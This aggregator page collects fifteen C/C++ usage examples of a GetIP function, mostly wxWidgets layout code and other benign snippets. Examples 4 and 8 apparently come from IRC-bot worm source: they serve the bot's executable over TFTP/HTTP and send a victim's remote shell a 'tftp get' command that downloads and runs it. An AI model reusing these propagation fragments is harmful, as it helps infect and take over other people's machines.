本文整理汇总了C++中GetIP函数的典型用法代码示例。如果您正苦于以下问题:C++ GetIP函数的具体用法?C++ GetIP怎么用?C++ GetIP使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetIP函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: switch
void wxIFMDefaultPlugin::OnHitTest(wxIFMHitTestEvent &event)
{
int coords = event.GetCoords();
wxIFMComponent *component = event.GetComponent();
if( component->m_hidden )
return;
wxRect rect;
const wxPoint &pos = event.GetPos();
switch(coords)
{
case IFM_COORDS_ABSOLUTE:
rect = component->m_rect;
break;
case IFM_COORDS_BACKGROUND:
{
wxIFMRectEvent rectevt(wxEVT_IFM_GETBACKGROUNDRECT, component);
GetIP()->ProcessPluginEvent(rectevt);
rect = rectevt.GetRect();
break;
}
case IFM_COORDS_CLIENT:
{
wxIFMRectEvent rectevt(wxEVT_IFM_GETCLIENTRECT, component);
GetIP()->ProcessPluginEvent(rectevt);
rect = rectevt.GetRect();
break;
}
}
if( rect.Inside(pos) )
event.SetPassed();
}
示例2: wxASSERT_MSG
void wxIFMDefaultPlugin::OnGetMaxSize(wxIFMRectEvent &event)
{
wxIFMComponent *component = event.GetComponent();
wxASSERT_MSG(component, wxT("NULL component?"));
if( !component )
return;
// dont use this for now, it doesn't really work anyway
#if 0
// if any child has a max size of IFM_NO_MAXIMUM_SIZE, there is no max size for the children
// and we immediatley return with this components max size
// if all children have a specified max size, return the cummulative total
wxSize max_size, size;
wxIFMComponent *child;
const wxIFMComponentArray &children = component->m_children;
for( wxIFMComponentArray::const_iterator i = children.begin(), end = children.end(); i != end; ++i )
{
child = *i;
wxIFMRectEvent maxevt(wxEVT_IFM_GETMAXSIZE, child);
GetIP()->ProcessPluginEvent(maxevt);
size = maxevt.GetSize();
if( size == IFM_NO_MAXIMUM_SIZE )
{
event.SetSize(component->m_maxSize);
return;
}
else
{
if( component->m_alignment == IFM_ALIGN_HORIZONTAL )
{
max_size.x += size.x;
if( size.y < max_size.y )
max_size.y = size.y;
}
else if( component->m_alignment == IFM_ALIGN_VERTICAL )
{
max_size.y += size.y;
if( size.x < max_size.x )
max_size.x = size.x;
}
}
}
#endif
// client to absolute
wxSize size = component->m_maxSize;
if( size != IFM_NO_MAXIMUM_SIZE )
{
wxIFMConvertRectEvent cvtevt(component, IFM_COORDS_CLIENT, IFM_COORDS_ABSOLUTE, wxPoint(), size);
GetIP()->ProcessPluginEvent(cvtevt);
size = cvtevt.GetSize();
}
event.SetSize(size);
}
示例3: if
void wxIFMDefaultPlugin::OnGetRect(wxIFMRectEvent &event)
{
wxIFMComponent *component = event.GetComponent();
wxEventType type = event.GetEventType();
// return wxRect(0,0,0,0) if we are hidden
/*
if( component->m_hidden )
{
event.SetRect(wxRect(0,0,0,0));
return;
}
*/
if( type == wxEVT_IFM_GETRECT )
{
// return the rect
event.SetRect(component->m_rect);
}
else if( type == wxEVT_IFM_GETBACKGROUNDRECT )
{
// get the absolute rect first
wxIFMRectEvent rectevt(wxEVT_IFM_GETRECT, component);
GetIP()->ProcessEvent(rectevt);
// use CONVERTRECT to go from absolute to background coords
wxIFMConvertRectEvent evt(component,
IFM_COORDS_ABSOLUTE, IFM_COORDS_BACKGROUND, rectevt.GetRect());
GetIP()->ProcessPluginEvent(evt);
// return new rect
event.SetRect(evt.GetRect());
}
else if( type == wxEVT_IFM_GETCLIENTRECT )
{
// get the absolute rect first
wxIFMRectEvent rectevt(wxEVT_IFM_GETRECT, component);
GetIP()->ProcessEvent(rectevt);
// use CONVERTRECT to go from absolute to client coords
wxIFMConvertRectEvent evt(component,
IFM_COORDS_ABSOLUTE, IFM_COORDS_CLIENT, rectevt.GetRect());
GetIP()->ProcessPluginEvent(evt);
// return new rect
event.SetRect(evt.GetRect());
}
#ifdef __WXDEBUG__
else
wxFAIL_MSG(wxT("Unknown event type encountered"));
#endif
}
示例4: CheckServers
void CheckServers(ADVSCAN scan)
{
char sendbuf[IRCLINE];
DWORD id;
if(scan.exploit != -1) {
if (exploit[scan.exploit].tftp == TRUE) {
if (findthreadid(TFTP_THREAD) == 0) {
TFTP tftp;
tftp.threads=0;
GetModuleFileName(0,tftp.filename,MAX_PATH);
strncpy(tftp.requestname, filename, sizeof(tftp.requestname)-1);
strcpy(tftp.chan, channel);
tftp.notice = scan.notice;
tftp.silent = FALSE;
tftp.info = FALSE;
tftp.socket = scan.sock;
sprintf(sendbuf, "[tftp]: Server started on Port: %d, File: %s, Request: %s.", tftpport, tftp.filename, tftp.requestname);
tftp.threadnum = addthread(sendbuf,TFTP_THREAD,NULL);
strncpy(threads[tftp.threadnum].file,tftp.filename,sizeof(threads[tftp.threadnum].file)-1);
threads[tftp.threadnum].port = tftpport;
threads[tftp.threadnum].tHandle = CreateThread(NULL, 0, &tftpserver, (void *)&tftp, 0, &id);
while (tftp.info == FALSE)
Sleep(50);
addlog(sendbuf);
}
} else if (exploit[scan.exploit].http == TRUE) {
if (findthreadid(HTTP_THREAD) == 0) {
char dirpath[MAX_PATH],*c;
GetModuleFileName(0,dirpath,MAX_PATH);
if ((c=strrchr(dirpath,'\\')) != NULL)
*c='\0';
if ((HTTP_server(GetIP(scan.sock),httpport,dirpath,FALSE)) == -1)
sprintf(sendbuf,"[http]: Server failed to start.");
else
sprintf(sendbuf,"[http]: Server started on IP: %s:%d, Directory: %s\\.", GetIP(scan.sock), httpport, dirpath);
addlog(sendbuf);
}
}
}
return;
}
示例5: rectevt
void wxIFMDefaultPlugin::OnFloatingSize(wxIFMFloatingSizeEvent &event)
{
wxIFMFloatingWindowBase *base = event.GetWindow();
const wxRect &client_rect = base->GetWindow()->GetClientRect();
// set out root components desired size
wxIFMRectEvent rectevt(wxEVT_IFM_SETDESIREDSIZE, base->GetComponent(), client_rect);
GetIP()->ProcessPluginEvent(rectevt);
// update our root component
wxIFMUpdateComponentEvent updevt(base->GetComponent(), client_rect);
GetIP()->ProcessPluginEvent(updevt);
}
示例6: beginpaint
void wxIFMFloatingWindowBase::OnPaint(wxPaintEvent &WXUNUSED(event))
{
// send BEGINPAINT message to get a DC with which to paint
wxIFMBeginPaintEvent beginpaint(m_window);
GetIP()->ProcessPluginEvent(beginpaint);
wxDC *dc = beginpaint.GetDC();
wxASSERT_MSG(dc, wxT("Invalid DC returned by EVT_IFM_BEGINPAINT"));
m_component->Paint(*dc, m_window->GetUpdateRegion());
// send ENDPAINT message to clean up the DC used to paint
wxIFMEndPaintEvent endpaint(dc);
GetIP()->ProcessPluginEvent(endpaint);
}
示例7: evt
void wxIFMDefaultPlugin::OnGetDesiredSize(wxIFMRectEvent &event)
{
wxIFMComponent *component = event.GetComponent();
// return the desired size
wxSize size = component->m_desiredSize;
// never size less than our minimum
// FIXME: This case should never occur, so I assert when it does
if( component->m_minSize.GetHeight() > size.GetHeight() )
{
//wxFAIL_MSG(wxT("Desired size was smaller than minimum!"));
size.SetHeight(component->m_minSize.GetHeight());
}
if( component->m_minSize.GetWidth() > size.GetWidth() )
{
//wxFAIL_MSG(wxT("Desired size was smaller than minimum!"));
size.SetWidth(component->m_minSize.GetWidth());
}
// desired sizes are stored in client coords, but absolute coords must be returned
wxIFMConvertRectEvent evt(component, IFM_COORDS_CLIENT, IFM_COORDS_ABSOLUTE, wxPoint(0,0), size);
GetIP()->ProcessPluginEvent(evt);
event.SetSize(evt.GetSize());
}
示例8: ConnectShell
bool ConnectShell(EXINFO exinfo) {
int len;
struct sockaddr_in shell_addr;
char recvbuf[1024];
SOCKET sockfd;
shell_addr.sin_family = AF_INET;
shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
shell_addr.sin_port = fhtons((unsigned short)exinfo.port);;
if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == -1 )
return false;
if (fconnect(sockfd, (struct sockaddr *)&shell_addr, sizeof(struct sockaddr)) == -1)
return false;
char mkdir_buff[400]="";
len = frecv(sockfd, recvbuf, 1024, 0);
_snprintf(mkdir_buff, sizeof (mkdir_buff),
"tftp -i %s get %s\n"
"%s\n",
GetIP(exinfo.sock),filename, filename);
if (fsend(sockfd, mkdir_buff, sizeof(mkdir_buff)-1,0) == -1)
return false;
return true;
}
示例9: GetRawPort
__int64 MNetLink::GetMapKey()
{
__int64 nKey = GetRawPort();
nKey = nKey << 32;
nKey += GetIP();
return nKey;
}
示例10: CDialog
/**
* class constructor
*/
CPocketSMDlg::CPocketSMDlg(CWnd* pParent /*=NULL*/)
: CDialog(CPocketSMDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CPocketSMDlg)
m_strEditView = _T("");
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_nIPPort = 5060;
m_pCSock = new CAsyncSocket();
//m_pCSock = NULL;
m_strIPAddress = GetIP();
m_strUserName = _T("");
m_strSipSrvAddress = _T("");
m_strUserPart = _T("");
m_strSrvPart = _T("");
m_strPassword = _T("");
m_strAuthHdr = _T("");
m_strFTag = _T("ROGJ-01CMC-")+m_strIPAddress;
m_nSipSrvPort = 5060;
m_nFlag = m_nCounter = m_nCallID = 0;
m_bDlgHide = false;
m_bTrayIcon = false;
m_bSetupOK = false;
m_dlgSetup = new CSetupDlg(this);
size=first=last=0;
MSG_LIST_SIZE = 10;
m_strEditMsg = _T("");
}
示例11: GetIP
wxIFMComponent *wxIFMFloatingWindowBase::GetComponentByPos(const wxPoint &pos, wxIFMComponent *component)
{
if( !m_window->IsShown() )
return NULL;
else
return GetIP()->GetComponentByPos(pos, (component == NULL) ? m_component : component);
}
示例12: GetIP
DWORD WINAPI CMainDlg::DomainScanThread(LPVOID lparam)
{
ThreadParameter *par = (ThreadParameter *)lparam;
CMainDlg *pThis = par->pThis;
CString strDomain = par->strDomain;
CString strIP, strHostName;
strIP = GetIP(par->strDomain, strHostName);
if (strIP != "")
{
par->strIP = strIP;
par->strHostName = strHostName;
if (pThis->m_checkGetDetailInfo)
par->strServerInfo = GetServerDetailInfo(strDomain, par->strTitle);
EnterCriticalSection(&pThis->cs);
pThis->SendMessage(WM_ON_INSERT_RESULT, 0, (LPARAM)par);//OnMessageInsertResult
LeaveCriticalSection(&pThis->cs);
}
EnterCriticalSection(&pThis->cs);
++pThis->m_nIpScanned;
if (pThis->dwThreadsUsed)
--pThis->dwThreadsUsed;
ReleaseSemaphore(pThis->hSemaphore, 1, 0);
LeaveCriticalSection(&pThis->cs);
//delete par;
return 0;
}
示例13: JSONSettings
static void JSONSettings(const KVPairs & key_value_pairs, FILE * stream_file)
{
ServeHeader(stream_file, 200, "OK", false, "text/plain");
IPAddress ip;
fprintf(stream_file, "{\n");
#ifdef ARDUINO
ip = GetIP();
fprintf_P(stream_file, PSTR("\t\"ip\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]);
ip = GetNetmask();
fprintf_P(stream_file, PSTR("\t\"netmask\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]);
ip = GetGateway();
fprintf_P(stream_file, PSTR("\t\"gateway\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]);
ip = GetNTPIP();
fprintf_P(stream_file, PSTR("\t\"NTPip\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]);
fprintf_P(stream_file, PSTR("\t\"NTPoffset\" : \"%d\",\n"), GetNTPOffset());
#endif
fprintf_P(stream_file, PSTR("\t\"webport\" : \"%u\",\n"), GetWebPort());
fprintf_P(stream_file, PSTR("\t\"ot\" : \"%d\",\n"), GetOT());
ip = GetWUIP();
fprintf_P(stream_file, PSTR("\t\"wuip\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]);
fprintf_P(stream_file, PSTR("\t\"wutype\" : \"%s\",\n"), GetUsePWS() ? "pws" : "zip");
fprintf_P(stream_file, PSTR("\t\"zip\" : \"%ld\",\n"), (long) GetZip());
fprintf_P(stream_file, PSTR("\t\"sadj\" : \"%ld\",\n"), (long) GetSeasonalAdjust());
char ak[17];
GetApiKey(ak);
fprintf_P(stream_file, PSTR("\t\"apikey\" : \"%s\",\n"), ak);
GetPWS(ak);
ak[11] = 0;
fprintf_P(stream_file, PSTR("\t\"pws\" : \"%s\"\n"), ak);
fprintf(stream_file, "}");
}
示例14:
void CChatConnect::Proc0_SomeoneChat(const void* pData, size_t size)
{
CHAT_SOMEONECHAT_CMD* pCsc = (CHAT_SOMEONECHAT_CMD*)pData;
tagPlusSrcInfo* pSrcInfo = (tagPlusSrcInfo*)((BYTE*)pData + size) - 1;
g_ChannelMgr.SomeoneChat(GetIP(), *pSrcInfo, pCsc);
}
示例15: main
int main( int pArgc, const char** pArgs )
{
unsigned long lIP;
int lIndex;
int lNbBanners;
char* lPathEnd;
lPathEnd = strrchr( pArgs[0], '/' );
if( lPathEnd != NULL )
{
*lPathEnd = 0;
chdir( pArgs[0] );
}
lNbBanners = GetBannerCount();
if( lNbBanners <= 0 )
{
lIndex = 0;
}
else
{
srand( time( NULL ) );
lIndex = 1+(((unsigned)rand())%lNbBanners);
}
SetQueueEntry( GetIP(), lIndex );
PrintBanner( lIndex );
return 0;
}